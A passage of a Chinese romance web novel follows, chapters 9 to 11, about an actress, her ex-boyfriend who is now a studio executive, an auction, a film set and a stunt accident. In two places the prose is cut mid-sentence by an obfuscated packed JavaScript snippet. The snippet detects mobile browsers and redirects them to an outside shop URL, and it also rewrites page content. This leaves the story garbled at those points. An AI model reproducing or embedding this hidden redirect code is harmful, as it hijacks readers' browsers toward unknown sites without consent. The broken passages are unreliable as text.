南意面无表情地坐了回去,对着庄俞钦的那声“抱歉”说得很轻,阴阳怪气时的嗓音气势却很足:“周公子看过《头文字D》吗?我记得藤原拓海是用一辆送豆腐的车打败的一众赛车高手。” 周子严很快听出她是在拐弯抹角骂自己车技烂,也是稀奇,镜头前挺温和一人,私底下居然满身是刺。 南意懒得就这个话题跟他纠缠,视线向右侧倾斜,想看看庄俞钦现在是什么反应,不期然打眼到自己从裤袋滑出的AirPods,此刻正躺尸在庄俞钦臀部和座椅之间的夹缝里。 这位置可以说是相当暧昧了。 南意不知道该怎么开口,若不是怕被人瞧见,这会已经点开搜索引擎: #如何让前任微抬翘臀# #如何体面地将手伸到前任屁股后面,且不被他察觉# #如何在前任察觉到将手伸到他屁股后面后,装作无事发生# 向锦的消息打断她混乱的思绪,问她现在是不是还在周子严车上。 她言简意赅地回了个是,向锦没说别的:【注意安全,到机场后给我报个平安。】 也因这番对话,南意想起上车的目的,言归正传:“周公子,关于我经纪人的事,你知道多少?” 南意还在瑞景娱乐那会,和向锦毫无交集,离开的第二年,才听说向锦和瑞景高管撕破脸的消息。 她宣布复出没几天,向锦找上她毛遂自荐,让人意想不到的搭配很快引起讨论,造就南意重新出现在公众视野里的第一条热搜,两人的组合也被不少网友戏称为复仇者联盟。 周子严轻敲方向盘,不紧不慢道:“当年创办的瑞景娱乐的人其实有两个,一个是现在的总裁燕卓廷,还有就是你经纪人向锦。” 燕卓廷和向锦是高中同学,也是旁人艳羡的少年情侣,两人相互扶持,毕业后短短三年内,就将瑞景发展成为一家小有名气的娱乐公司。 签的艺人越来越多,要想更进一步,需要打点的关系也像盘根错节的藤蔓一般,变得繁杂,公司盈利很快见底,好不容易谈下的资源也被其他大公司中道截胡。 屡屡受创后的燕卓廷心气跟着被消磨大半,耳根子一软,听信旁人谗言,忘记当初脚踏实地追逐理想的宏伟宣言,摆弄起歪门邪道。 说的好听点,对外,他依旧是经济人,干的事却和拉皮条无异,哄骗的都是公司里没有背景、草根出身的新人。 坚守底线的只剩下向锦一人。 听说这事的向锦,同燕卓廷大吵一架,威胁他要是继续执迷不悟,就将瑞景关停。 燕卓廷明面上放出求全的姿态,实则暗地里早就开始架空向锦在公司的话语权。 十年感情最终败倒在名利塑成的金身下。 事先没有做足准备,在这段隐秘砸向南意时,她的大脑嗡嗡作响。 她忍不住想,在这世界上,所有少年情侣的命运都是如此吗? 可以裹着漏风的棉被共苦,却不能在镁光灯下或推杯换盏的饭桌间同甘。 - 车在T1航空站入口处停下,觑着那道跑得比兔子还快的身影,周子严噗嗤一笑,“你俩当初分得得有多不愉快,她现在才会拿你当洪水猛兽避着?” 庄俞钦没说话,还盯着入口处看。 今天的空气能见度极低,轻而易举将一个比雾单薄的人吞噬掉。 周子严笑着调侃:“再看下去,好的那只眼睛也要没了。” 庄俞钦迟缓地收回视线,将车窗升回上去,脑子里的残影始终挥之不去。 还是那么瘦,还是那么爱笑,就是笑起来没什么生机了,更多的是牵强附会。 他想起她曾经依偎在自己身上时,一双眼睛总是亮盈盈的,那是全心全意信任着一个人会有的神情。 但现在没有了,他只能从她躲闪的目光里读出她的防备、抗拒,甚至是警惕。 真是可笑,她都愿意同那个绯闻缠身的男明星谈笑风生,却不想再同他有任何牵扯。 周子严对南意说的并非全部实话,他和庄俞钦的第一站并不在港岛,而是北城一场慈善拍卖会。 落地北城后,在去宴会厅的路上,周子严顺便把放假回国的妹妹周岁安也给捎上了。 周岁安只见过庄俞钦两回,他那副皮囊完美击中她的审美点,奈何性格实在冷,每回见他,她都能被冻到瑟瑟发抖,巴不得离这座人造制冷机越远越好。 “俞钦哥哥。” 打完这声招呼,周岁安顿觉车里的空气更冻人了,直到周子严给她使了个眼色,她才反应过来这尊大佛不喜欢别人这么叫他,不知道的还以为这几个字是针对某个人的专属昵称,其他人都叫不得。 她立即改口:“庄总。” 气氛还是闷,兄妹俩都属于不说话浑身不自在的类型,一路上嘴就没停过。 周岁安从在国外合租的室友聊到自己父亲身上,“对了,哥,爸爸说他今年也还是不回家过年,让我们自己去老宅住几天。” 周子严笑意微顿,瞥了眼后视镜里的男人,“他还说什么了?” “让我好好玩,看中什么就买,他给我全额报销。” 周子严眼神深了些,“他倒是疼自己女儿。” 周岁安觉得哥哥话里有外,但这会没想太多,只当周子严在吃自己的醋,红灯,车一停下,她就拽了拽周子严撒娇:“爸爸也疼你啊,知道你想进娱乐圈,一直在替你打点关系。” 周子严虚假的笑挂到嘴边,捧哏似的来了句:“父爱万岁。” - 这算是庄俞钦被认回庄家后,第一次正式在圈内的大型场合露面,得到的关注非比寻常。 他没换衣服,穿得依旧是白天那套西服,只在外面罩了件羊绒大衣,身边没个女伴,孤家寡人的,却也走出前拥后簇的气场,一抵达宴会厅,就把所有人的目光攫取走了。 他前脚刚进来,周子严和周岁安后脚跟上。 这组合实在新奇,有人忍不住开始窃窃私语:“庄家这位什么时候跟周家俩兄妹走这么近了?他们两家不是有旧仇吗?那明星,叫什么来着,我记得庄二之前还为了她痛打过周家这二世祖。” “是不是那个叫南意的?等会,我记得没错的话,庄二之前想揍的是二世祖他爹?估计周影帝自己也没想到,招惹的女星居然和庄家流落在外的太子爷有关系。” “当年要死要活的,为了爱情还差点断送自己前程进了监狱,最后还不是被放在心尖上的人一脚蹬了?我要是庄二,回北城的第一件事就是搞死自己这位旧情人。也不知道这位女明星,看到如今飞黄腾达的庄二,会不会悔不当初。” 这人正说着,突然被一股寒气贯穿身体,猛地打了个哆嗦,“这宴会厅暖气是坏了吗?怎么这么冷?” 庄俞钦和周子严兄妹的座位在二楼,中间隔着一个独立包厢,私密性极强,两头的动静互不知晓。 不过两人在来之前约定过,只要是对方中意的拍品,绝不去盲目哄抬物价。 第三件拍品就是前几天在美术馆展出的关山月大师的红梅图,起拍价不算高,叫价的人不少,其中大多为附庸风雅之辈。 周子严以为庄俞钦对这种画不感兴趣,正要举牌凑个热闹,他那处包厢就传来动静,拿钱当水撒似的,叫价比前一位高出整整五倍,给人一种势在必得的压迫感。 无人再去竞价。 可比起庄俞钦花高价拍下红梅图,在场宾客更关心他之后拍下的粉钻原石是预备送给哪家千金的。 “庄、周两家现在来往频繁,像是化干戈为玉帛了,这粉钻怕是要送给周家那位小姐的。” “也是,这圈子里哪来永远的敌人。既然这两家当初能因为一个女人撕破脸,现在就能因为另一个女人重修于好。” 这话兜兜转转飘进周岁安耳朵里,只剩下“周庄两家即将联姻”八个关键词,吓得她全身血液逆流而上,小脸又红又白的,忙拽住周子严的手臂,连连叫了几声“哥”,“咱们家该不会真的要跟庄家联姻吧?我可不要嫁给庄俞钦这种冰块,哥你一定要救我。” 周子严抽出自己胳膊,交叠在胸前,斜眼睨她:“你听谁说周家要把你嫁给庄俞钦?” “别人都这么说啊,”周岁安一板一眼地分析道,“而且你看,现在能跟庄家旗鼓相当的,也就我们周家了,他刚才还拍下了粉宝石,总不可能是他自己留着用,那就八成是送给女人的,他身边又没其他人,那就是拿来讨好我的。” 这番长篇大论槽点太多,单是旗鼓相当这四个字都足够引人发笑。 现在的周家就是颗看似饱满甜美的苹果,实则内里早就被害虫蛀空,华而不实,连半个庄家都比不上。 想到这儿,周子严是真的佩服庄俞钦,没有接受过任何继承人教育,也不妨碍他施展在商场上的雷霆手段,销声匿迹四年就将日渐式微的庄家重新带回北城四大家族之列。 周子严侧过身,双手捧住妹妹婴儿肥的脸颊,一本正经地说:“不管你是哪个自恋狂,赶紧从我妹身上下来。” “……” 被周子严这么一敲打,周岁安找回些理智。 庄俞钦要真想娶她,犯不着每次都甩冷脸给她看,搞得跟他们周家和他有什么深仇大恨似的,现在自然也没必要花两个小目标“讨好”她。 拍卖会结束后,周子严用幸灾乐祸的口吻,将周岁安的担忧添油加醋地转述给庄俞钦。 庄俞钦很轻笑了声。 嘲讽意味拉满,周子严还脑补出一句话:你们周家也配。 是啊,周家哪配?周旭桥的子女就更配不上了。 - 《蝴蝶里》拍摄地点在申城的民国影视基地里。 南意入组当天,剧组重新办了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228430|197575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小型的开机补拍仪式,去去上个暴雷的演员遗留下来的晦气。 烧香拜佛那会,导演和制片主任一直在碎碎念,祈祷这部剧在完播前都别再整出什么幺蛾子。 南意则满脑子想的是:庄俞钦和周子严千万别来剧组视察,就算要来,最好也只来个周子严。 之后那一周,南意最抗拒的事一直没有发生,拍摄有条不紊地进行着。 剧组官方微博账号另选了个吉利的时间,将她的定妆照上传,就在同一天,《欢迎客栈》更了新一期节目,南意忙着拍戏,没时间看,关注舆论动向的事被向锦承包。 下戏不久,向锦发来消息,告诉她周子严没有出现在正片里。 南意昨晚一整晚都在拍戏,之后在保姆车上补了两小时觉,天还没亮透,又被拉起来做造型,结束上午的几条戏,吃午饭时,筷子差点怼到鼻孔。 缓了会,精神依旧处于掉线状态,没法顺着向锦的话去深究背后的原因,简单回复四个字:【喜闻乐见。】 向锦:【这二世祖估计是觉得这综艺不够当他入圈后的第一部作品,才让节目组把自己镜头全删了。】 南意打了个哈切,慢悠悠地敲下:【也可能是专门来吓唬我的。】 不得不承认,她确实被他吓了一跳。 刚收起手机,肩膀被人拍了拍,她抬起头,迎上一张灿烂的笑脸,又惊又喜。 “你怎么来了?” 谢凌问人要来小马扎,搬到南意身侧,“来申城玩几天,顺便给你探个班。” “你要是把''顺便''前后调换一下,我会更开心。” 在剧里同南意有感情戏的男二叫陈潇,他迟迟没法进入状态,被导演单独留下来讲戏。 暂停拍摄的空档,南意和谢凌就坐在小马扎上,面对面玩起以前在片场经常玩的翻花绳,借此打发时间。 两个人的气氛过于和谐,很快将导演注意力吸引过去,他指着那处对陈潇说:“看到没?我现在要你演出来的就是这种感觉,青梅竹马嘛,打是亲骂是爱,一个眼神递过去,就知道对方在想什么,谁看了不得说一句天生一对。” 抗日剧片场传来爆炸声,这几天南意已经听免疫了,谢凌一时没习惯,被吓一跳。 抬高的视线忽然对上远处一道黑黢黢的视线,半个月前那种背后阴风阵阵的感觉又回来了。 “我去,”他用力揉了把眼,“我好像看到之前在陆老六包厢那gay了。” “在哪呢?” 南意对这人有点好奇,循着谢凌的视线看去,结果那处空空荡荡的,连半个人影都没。 谢凌自圆其说:“可能我刚才被爆炸声吓到神智不清,出现幻觉了。” “日有所思,夜有所梦,你该不会是对这人一见钟情了吧?” 南意狐疑地眯起眼睛,仿佛在看一个深柜。 谢凌笑骂一声,“相信我,你要是被那种阴测测的目光注视超过五秒,这辈子都不会忘。” 正说着,他手机进来经纪人电话,聊了差不多两分钟挂断,起身道:“我不是接了部公路片吗,对打戏要求还挺高,徐哥让我现在回北城接受封闭式培训。” “这么突然?” “谁知道嘉樾那位抽的什么风?” 这回南意捕捉到那两个字:“嘉樾?” 她太阳穴突突地跳,“他们总裁叫什么?” “好像是姓庄,具体叫什么我就不清楚了,至于见面,贵人事多,估计等我拍完《奔逃》都不一定有幸得他召见。” 南意心脏也开始狂跳,莫名觉得谢凌休假提前结束跟自己脱不了干系。 下一场通告在半小时后,南意正在补妆,远远听见赵导喊了声:“庄总怎么来了?” 哪个庄?哪个总? 难不成剧组来了个叫“庄偬”的新人演员? 南意以零点五倍速转过脑袋,庄俞钦的脸撞进视线,宣告她的自欺欺人以失败收场。 赵导朝她招招手,热心肠地介绍道:“庄总,那位就是我们新找的女二号,出道快十年了,戏非常好,基本都是一条过。” 庄俞钦嗯一声,“我们认识。” 南意没听见这四个字,以至于在她看清赵导意味深长的表情后,满头雾水,不过表情管理能力还在,她微笑着叫了声“庄总”。 庄俞钦嗓音比刚才沉了不少,“南老师。” 简简单单的五个字,构成他们重逢后第一次真正意义上的对话,却是无效废话。 不到五摄氏度的天,裹挟着南方阴潮的水汽,刺骨的冷。 男人张嘴时,唇边带出一层薄薄的雾,在消散前缓慢升空,瞳仁在半遮半掩下,不再乌黑,也没那么冰冷了——如果忽略掉他的视线撤回得过于快这个细节。 上回在车里也是这样。 现在的庄俞钦,似乎连和她近距离对视都不愿意浪费超过两秒钟时间。 南意眼皮一颤,紧接着就看见庄俞钦从西装内衬掏出星星人图案的耳机壳,旁若无人地来了句:“你有东西落在我这儿了。” 10. 10 越是平淡的语气,就越有杀伤力这话果然不假。 他的话音一落,赵导的眼神又深了几分。 南意装作没注意到,硬着头皮接过AirPods,手指不小心触碰到庄俞钦宽大的掌心。 体温比她记忆里的要凉很多,害她小幅度地一颤,导致用来道谢的那两个字慢了几拍。 没来得及向赵导澄清事情并非他脑补的那样,庄俞钦先她一步淡声补充道:“第一发现人有事来不了,托我转交给你。” 南意立刻接上:“是周总发现的?” 庄俞钦:“嗯。” 赵导视线在他们身上逡巡,两个人都生分疏离,看着不像有旧情,他见缝插针地问:“这位周总该不会就是我认识的那位?” 这回南意抢先说:“是星海工作室的周子严周总,前段时间我碰巧和他一起录制综艺,结束后搭了次顺风车,耳机估计就是那时候落在他车里的。” 不像在胡诌,赵导信了七八成。 庄俞钦在这时岔开话题,“赵导,有事想跟你聊几分钟,方便借一步说话吗?” “当然。” 两个男人并排离开后,南意不动声色地盯住庄俞钦背影看了会,没想明白刚才他为什么要丢出这么容易让人误会的一句话,之后又为什么把皮球踢到周子严那儿。 剧组道化服漂亮归漂亮,布料质地却很粗糙,穿在身上没一会,皮肤就被磨红一大片。 这种程度的不适,南意原本还能忍受,奈何不远处“庄俞钦”的背影自带让人心烦意乱的特效,让她浑身瘙痒的同时,如坐针毡。 药膏在保姆车上,等下午的戏全部结束,南意第一时间朝停车的地方走去,途中经过一条小巷,有对话声传出。 “这是你第一部戏,NG很正常,私底下多练练,总能进步。” 声线听着像不久前被导演训过话的陈潇。 “不过吻戏这种,你自己练也练不出什么名堂,还是得多找同组演员对对戏。” 陈潇又说,“我看你刚才面红耳热的,是不是没谈过恋爱?你要是不介意,我可以给你分享点心得。” 戏里演得乱七八糟的,戏外倒是将纨绔子弟的形象演绎得淋漓尽致。 南意心里一阵好笑,走到墙角,借指示牌挡住自己身体,视线往里眺。 先看到的是陈潇高挺瘦长的身影,此刻正像一堵墙,严严实实地堵在一女生面前,从她身上的道化服看,像隔壁剧组的。 《蝴蝶里》补拍决定通过时,陈潇已经入了其他组,凑巧也是一部民国戏。 考虑到事出有因,两个剧组又属同一家制片公司,经过协商,同意陈潇轧戏。 这样看来,被陈潇骚扰的女生多半就是隔壁剧组跟他有对手戏的女主角。 陈潇的头压得很低,唇快要贴到对方脸上。 南意调整角度,勉强捕捉到女生无措不安的神态,糟心事涌上大脑。 在圈子里待了这么多年,红过,也被雪藏过,南意早就学会明哲保身那一套,更何况,这种闲事并不是现在落魄的她能管、该管的。 偏偏在她转身前,余光瞥见头顶灯柱上忽明忽暗的橙色光束,一只飞蛾扇动翅膀,不要命地扑向光源,支棱两下,摔碎在她脚边。 真是笨死了。 南意唉声叹气,拿起手机给向锦发去消息:【姐,我可能又要惹事了/心虚.jpg】 向锦回了个微笑的表情:【二十字内,把你要惹的麻烦交待清楚。】 南意掰着手指头数:【陈潇性骚扰同剧组女演员,我准备给他一拳。】 向锦:【给他两拳吧。】 向锦:【出了事我兜着。】 南意嘴上应了声“好嘞”,实际上不敢真动手,最多耍耍嘴皮子功夫,不然真会给向锦招来数不清的麻烦。 “陈潇?”南意拿捏好诧异的语气叫了声。 陈潇一顿,侧过身前,脸上先堆好标准的爱豆笑容,“南意姐,真巧啊,您这是在散步?” 南意现在的咖位比不上他,但好歹有个影后头衔加持,又有前辈的资历摆在那,道声“姐”才是合适的。 “不巧,我就是来找你对戏的,”南意无视女生求救的眼神,笑说,“片场没找到你,自己就瞎逛了会,没想到你在这。” “您想找我对哪场戏?” “你和我撕破脸那场,我不是要甩你一个巴掌吗?但我没拍过这种戏,赵导又不喜欢借位,只能私底下找你练习几次,看哪种角度拍起来好过,又能把你受到的伤害降到最低。” 陈潇听出来了,这是想拿他的脸磨练她的演技。 他笑容凝固一霎,没找到合理的推脱说辞,听见对方改口道:“你要是不乐意也行的,毕竟你靠脸吃饭,我能理解,或者你可以用你的脸轻轻打我的手,只要我们配合得当,不在镜头面前穿帮就行了。” 陈潇这下表情是彻底僵住了,对面的神色看着又不像是在开玩笑,为了保全自己的皮相,胡乱找了个借口溜之大吉。 空气一下子安静下来。 南意没有要和女生打招呼的意思,踩着剧组提供的细高跟,朝原定路线走去。 距离下场通告开始还有一个半小时,南意决定上好药后补一觉。 提前设置好的闹铃没响,疗养院的电话先打来,告诉她她母亲季楹情况不太好,希望她能抽时间过去看看。 南意意识还没从睡梦中回来,含糊应了声,车门打开,冷风灌进来,灌得她鼻腔生疼。 她屏住呼吸,闭了闭眼,远远看见一道颀长身影,被满天白雾包裹,像走在一场永无尽头的白日梦里。 等她再次闭眼、睁眼,那人又消失了。 她大脑瞬间清醒,等小琦从酒店回来,交代她替自己去趟疗养院。 晚上八点,剧组重新开工,南意提前半小时抵达片场同对戏演员商讨走位。 巴掌戏也在今晚的拍摄计划里,就在南意犹豫要不要在掌心黏些铆钉装饰品,赵导把她叫过去讲了段戏,还没等她消化完,庄俞钦大步流星地走了过来,在赵导身侧的小马扎上坐下。 他安安静静的,存在感却极强,南意忍不住朝他看去,这一瞥,恰好被他逮住。 这次他依旧很快别开视线,看着赵导问:“我影响到你们了?” 赵导:“哪里的话。” 南意:“没有。” 两个人齐齐开口,南意越品越觉得自己那句有种欲盖弥彰的嫌疑。 好在庄俞钦的出现并没有影响她入戏,连着几声“过”后,迎来今晚的第一场重头戏。 为了不拖延拍摄进度,她没假装自己不在状态,好趁机多甩陈潇几巴掌,而是凭借稳定的发挥,再次得到一条过的结果。 变故出现在另一个人那儿。 “再拍一条。” 这声过后,气氛凝滞一霎,几个脑袋齐刷刷看向坐在监视器前的庄俞钦,他云淡风轻地补上:“刚才那段可以拍得更好。” 无人质疑他的提议。 导演一声令下,南意多甩了三次巴掌。 拍摄一中断,有场务立刻拿了个暖手袋过来,南意好久没享受到这么贴心的待遇,一时受宠若惊,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228431|197575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识往庄俞钦的方向看了眼。 他已经离开。 预计拍摄时间会延长到半夜三点,九点刚过,剧组批量购入的咖啡送到。 咖啡是昨天下午就订好的,庄俞钦来得突然,事先没准备他那份,加上今天一整天事都很多,工作人员忘记补上。 见实习生一脸犯难,统筹凑过来问出什么事了。 “少了庄总那杯,我这就去再叫一杯。” 影视城地段偏僻,最近一家拿得出手的咖啡店在七公里外,兜兜转转送到估计也是一小时后的事。 统筹经过权衡,压低音量嘱咐:“你看着匀杯出来,先送给庄总,没拿到咖啡的人,到时候我亲自去跟他解释。” 实习生挑了杯最贵的芝士红茶拿铁,正要送过去,南意笑着拦下他,“庄总不喝风味拿铁,把我这杯黑咖给他吧。” 她说得斩钉截铁,极具信服力,实习生没有多想,接过的同时道了声谢,等咖啡送到房车上,脑子里迟钝地冒出一个问题:庄总的喜好,她是从何得知的? 庄俞钦原本不打算喝这杯黑咖,视线透过敞开的袋口,看见里面南意不小心掉落的发绳,稍顿,“这杯原来是给谁的?” 他的眼神压迫感十足,实习生没扛住压力,实话实说:“是南意老师。” 庄俞钦嗯一声,“我知道了。” 实习生走后,车门还敞着,庄俞钦压低身子,潮水般的眼神向外蔓延开。 那会南意正背对着他。 微卷的长发在风中飞舞,漾起扭曲的弧度,像盘踞在藤蔓上有着精致纹理的毒蛇,吐着猩红的信子缓慢蠕动,迷人又危险。 在这样的背影和姿态里,找不出一点所有人都在怀念的春淇的影子。 庄俞钦合上车门,给林聪发去消息,要他开车去买杯黑咖。 林聪效率很高,不到半小时,这杯咖啡就被他送到庄俞钦面前,庄俞钦同样找回那位实习生,额外交代了句:“别跟她说是我让你送的。” 实习生没明白。 “要是知道是我特意让人买来补给她的,她可能会有负担,推脱不喝。” 妥帖的说辞、公事公办的语气,搭配淡然的神情,堪称天衣无缝,实习生信以为真,送咖啡的路上,自己杜撰了个能把庄俞钦摘得干干净净的理由,只是在对上南意那双漂亮的干净时,谎言不攻自破。 没完成好领导交代的任务,他有些不敢面对庄俞钦,但还是鼓起勇气把见到南意后的情况照实说明了遍。 庄俞钦顿了两秒,“你说她喝了?” - 南意当然要喝。 韩国的空气里有酵母,这儿的空气里有安眠药,傍晚那觉算白睡了,这会眼皮越来越耷。 等待拍摄的那段时间里,她连着打了十来个哈切,呼出的浊气把坚决不喝前男友送的咖啡这种骨气一并排了出去。 高浓度的咖啡提神效果显著,半杯下去,她感觉大脑里的雾气被驱散大半,人也有劲了。 当晚最后一场戏拍的是南意从三层洋房掉落的场景。 类似的戏南意拍过几回,早就驾轻就熟,还没跌落到防护垫上,脑袋里已经预设出导演需要的凄美姿势。 她的身体缓慢被威亚吊起,绳索勒得有些紧,导致她呼吸不太顺畅。 完全腾空的下一秒,她感受到短促的重力,像游乐园旋转木马启动时会出现的顿感。 这威亚不对劲。 不好的预感很快应验,即将坠落的瞬间,她在脑子里幻想出了庄俞钦的身影,凭借本能,脱口而出求救般的一声:“俞钦!” 11. 11 南意醒来时,窗外天色已经透亮。 她的身体软绵绵的,提不起力气挪动陷进枕头里的脑袋,只能将视线倾斜几度。 庄俞钦正靠在椅背上,双臂环在胸前,头颅垂落的角度恰好能让她看清他五官,眼下的青黑被冷白皮衬得分外明显,传递出睡眠不足的讯号。 南意调动储存在大脑里的记忆,发现在自己喊出“俞钦”的下一秒到睁开眼的这一刻,记忆匣子空空荡荡。 以她现在的身体状态,似乎也不符合高空坠落特征。 百思不得其解之际,她注意到庄俞钦眼皮动了下。 没决定好自己是不是该装睡,对方先睁开眼,朝她看过去。 眼神没那么锐利,带点初醒时的迷蒙,显露出淳厚无害的一面,乍一看,有点像少年时代的俞钦。 作为一对在对方最重要的时间节点缺席太长时间的旧情人,单独相处时,找不到合适开场白情有可原——即便她现在有一堆想知道的事。 像是为了配合她将这出默剧演完,庄俞钦也不出声,在她遮遮掩掩的余光里起身,将距离缩短后,弓下腰。 覆盖在自己身上的阴影越来越大,两个人的姿势也变得越来越暧昧,惊得南意呼吸都滞住了,这些年琢磨出的表演技巧突然不得章法,只够她下意识喊出:“庄总。” 似在提醒他注意身份和分寸。 干巴巴的两个字落地后,她没有错过庄俞钦蹙眉的反应。 显然,他很不喜欢这个称呼。 庄俞钦调整得很快,片刻就恢复到无悲无喜的神情,抻长的胳膊摁下床边的服务铃。 不到五分钟,病房塞满了人。 一番兴师动众的检查过后,为首的医生看着庄俞钦说:“没什么大碍,好好休息几天就可以恢复,您要是不放心,明天可以再做一套系统检查。” 庄俞钦目光落回到南意身上,“她才是病人。” 南意慢半拍地接过话茬,“除了身上没什么力气外,我其他地方好像都没有受伤,那我为什么会陷入昏睡?” “营养不良引发的低血糖,加上劳累过度,晕厥症状才会加重。” 说白了就是吃得太少,睡得不够,干得太多。 南意尴尬一瞬,“明天还是不用检查了。” 医生觑着庄俞钦的反应,见他没吭声,才点头:“南小姐要是哪不舒服,可以摁铃,24小时都会有人过来。” 南意应了声“好”,“麻烦你们了。” 等人整齐划一地离开,她的视线一下子变得空荡,余光却还是被庄俞钦侵占到密不透风。 病房里的消毒水味被鼠尾草香薰和西柚的清香冲淡,对鼻腔的刺激作用没那么大,相反很好闻。 她的神经不再那么紧绷,做足心理建设后,主动打开话匣子:“庄——是你送我来医院的吗?” “嗯。” “那是你接住的我?” 这次的“嗯”慢了两秒。 南意继续问:“你在这里多久了?” “我一直没离开过。” 这话有种一语双关的嫌疑,南意听愣两秒,若不是下一刻庄俞钦公事公办的语气将她意识拉拢回去,她多半又要开始自作多情。 “已经调查清楚,威亚没有人为损坏的痕迹,是道具组的工作人员误拿了废置的那批威亚。” 庄俞钦看她眼,“你是受害者,片方会给出你想要的补偿和惩处。” 南意没怎么犹豫地说:“辞退那人吧,但不要全行业封杀他,毕竟找不到本职工作的滋味不好受。” 庄俞钦没有露出意料之外的反应,看了眼时间,“30个小时了。” “什么?” “从你昏迷到现在,已经过去整整30个小时,那个男人一次都没来看过你。” 南意还是满头雾水,“哪个男人?” 庄俞钦言简意赅:“谢凌。” 关谢凌什么事? 还有,不是你叫他回北城接受封闭式训练的吗? 南意觑着庄俞钦的表情,坦然到无辜的程度,难不成那通知是嘉樾其他高管下达的,而他浑然不知情? 也是,以他们现在的关系,他没必要吃谢凌的醋,变着法把人从她身边支走。 “他回北城了,”她顿了顿,没克制住轻声问,“为什么突然提到他?” 庄俞钦低垂着眼,“作为你男朋友,他不该在你生病的时候,陪着你?” 南意荒唐到音量都高了几度,“你从哪听说他是我男朋友?” 这态度跟否认没什么两样。 庄俞钦没接这话,唇角微微翘起,很快又被他压下。 南意没察觉到这细微的变化,不过脑地又问:“你现在也不是我男朋友,为什么要陪着我?” 她这声轻飘飘的,毫无锋芒,却还是让刚缓和下来的气氛骤然沉到谷底。 在冗长的死寂里,南意终于反应过来自己说了什么不该说的话。 救她的人是他,守在她身边的也是他,不管怎么样,她现在最该做的是领情,正儿八经地对他道声谢。 正想补救,被庄俞钦不含情绪的嗓音掐断:“确实,我现在没有资格陪在你身边。” “我不是这个意思,”她掐着掌心的软肉,一句话说得相当费劲,“我只是怕被人误会。” 以为他会问“误会什么”,结果是更让人难以回答的一句:“我现在也不是你男朋友,你又为什么要在遇到危险的时候,叫我的名字?” 南意被问住了,连庄俞钦什么时候离开的都不知道。 以前为了不打扰她休息,他总会将脚步压到不能再轻。 习惯还真是可怕的东西,即便过去这么多年,即便他们不再相爱,即便他们现在的相处氛围哪哪不对劲,在这点上,他依旧分毫未变。 重要的随身物品都放在床边柜上,南意从包里掏摸出手机,数不清第几次点开搜索引擎检索“庄俞钦”相关信息。 这回不再是一片空白。 寥寥无几的财经新闻里,附带一张庄俞钦的半身照,应该是出席某个峰会现场的发言图,神情不苟言笑到冷酷的地步。 和庄俞钦分手后,南意最后悔的其实是没有留下过一张同他的合照。 当年为偿还家里欠下的巨额债务,她尝试去接些芭蕾舞商演,碍于没有门路,最后只能靠她自己拿着简历广撒网。 简历上的公式照不是在正规照相馆拍的,而是地铁站里随便找的一台自助照相机原图直出。 照完,南意是后悔的,她不该在一开始选择打印十张照片,明明六张就够她用一段时间,她大可以拿省下的那笔钱和庄俞钦拍几张大头贴,将他们最美好的时光定格下来。 后来她赚到了钱,却弄丢了时间。 每一天都是连轴转,好不容易挤出和他单独相处的空档,却屡屡被前经纪人用强势的态度破坏。 南意开门见山地问:“我不能谈恋爱吗?” “不是不能谈,而是你现在身上不能有任何污点。。” 在他们看来,彼时无父无母、为了拉投资低声下气的俞钦是未来之星南意身上最大的污点。 他可以成为默默在背后追随她的影子,也可以当她口中一个无足轻重的旧人,就是不能光明正大地陪伴在她身边。 没有俞钦的以后不是南意想要的未来。 据理力争的结果是双方各退一步:她可以继续和庄俞钦保持男女朋友关系,但不能被媒体发现。 为了避免出现手机遗失,导致秘密外泄的可能性,公司还不允许她的相册里有任何庄俞钦的照片或是他们的合照。 分手后的第二个月,南意终于提起精力去抹除和庄俞钦有关的一切。 她将他送给她的东西全都装进纸箱,还点开了手机相册,意外的,里面空空如也。 他就像春日里的蝴蝶,招摇地出现,跨越过盛夏、清秋,毫无痕迹地消失在凛冬的大雾里。 成为她每个辗转难眠的深夜里,无法追忆的一场美梦。 手机屏幕自动跳灭。 庄俞钦冷硬的公式照消失,取而代之的是向锦急匆匆的步伐。 她的眼睛如同X光一般,将南意全方位扫描透彻,确信她没缺胳膊少腿后,注意力落在其他地方,“庄总呢?” 南意不答反问:“为什么突然问起他?” 向锦没直接回答这个问题,将自己手机递到她面前。 屏幕已经解锁,南意摁下视频播放键,开头第一幕就是她被吊在半空摇摇欲坠的画面。 那声“俞钦”隔着一段距离,不算清晰,更谈不上响亮,但落在南意耳朵里,有种震耳欲聋的杀伤力。 回音还没消散,人群中一道身影猎豹般朝她飞奔而去,在底下稳稳接住了她。 南意目光霎时凝固住,攥住手机的手指泛起白印。 “你出意外的消息被剧组压下了,这段视频也不会流传出去,但你要知道,当时在现场的人不在少数,就算你能堵上他们的嘴巴,也消灭不了他们的好奇心,背地里谈论这事的人只会有增无减。” 向锦顿了两秒,“每个人都有秘密,你不想说,我能理解,但你多多少少要给我透露一些消息,好让我在下个猝不及防的事件发生后,有足够的应对措施。” 南意终于找回自己声音,“你想知道什么?” “你以前认识庄俞钦?” 铺垫了这么多,终于拐到正题上。 南意心里很清楚这问题逃不过去,但还是在向锦将话挑明后,体会到难以忍受的抗拒。 她揣着明白装糊涂,“当然,这名字如雷贯耳,我刚才还在财经新闻里见到了。” “是我没表达清楚,我加个过去式。” 南意没说话了。 向锦问得更直白:“你和庄俞钦之间有过一段,是吗?” 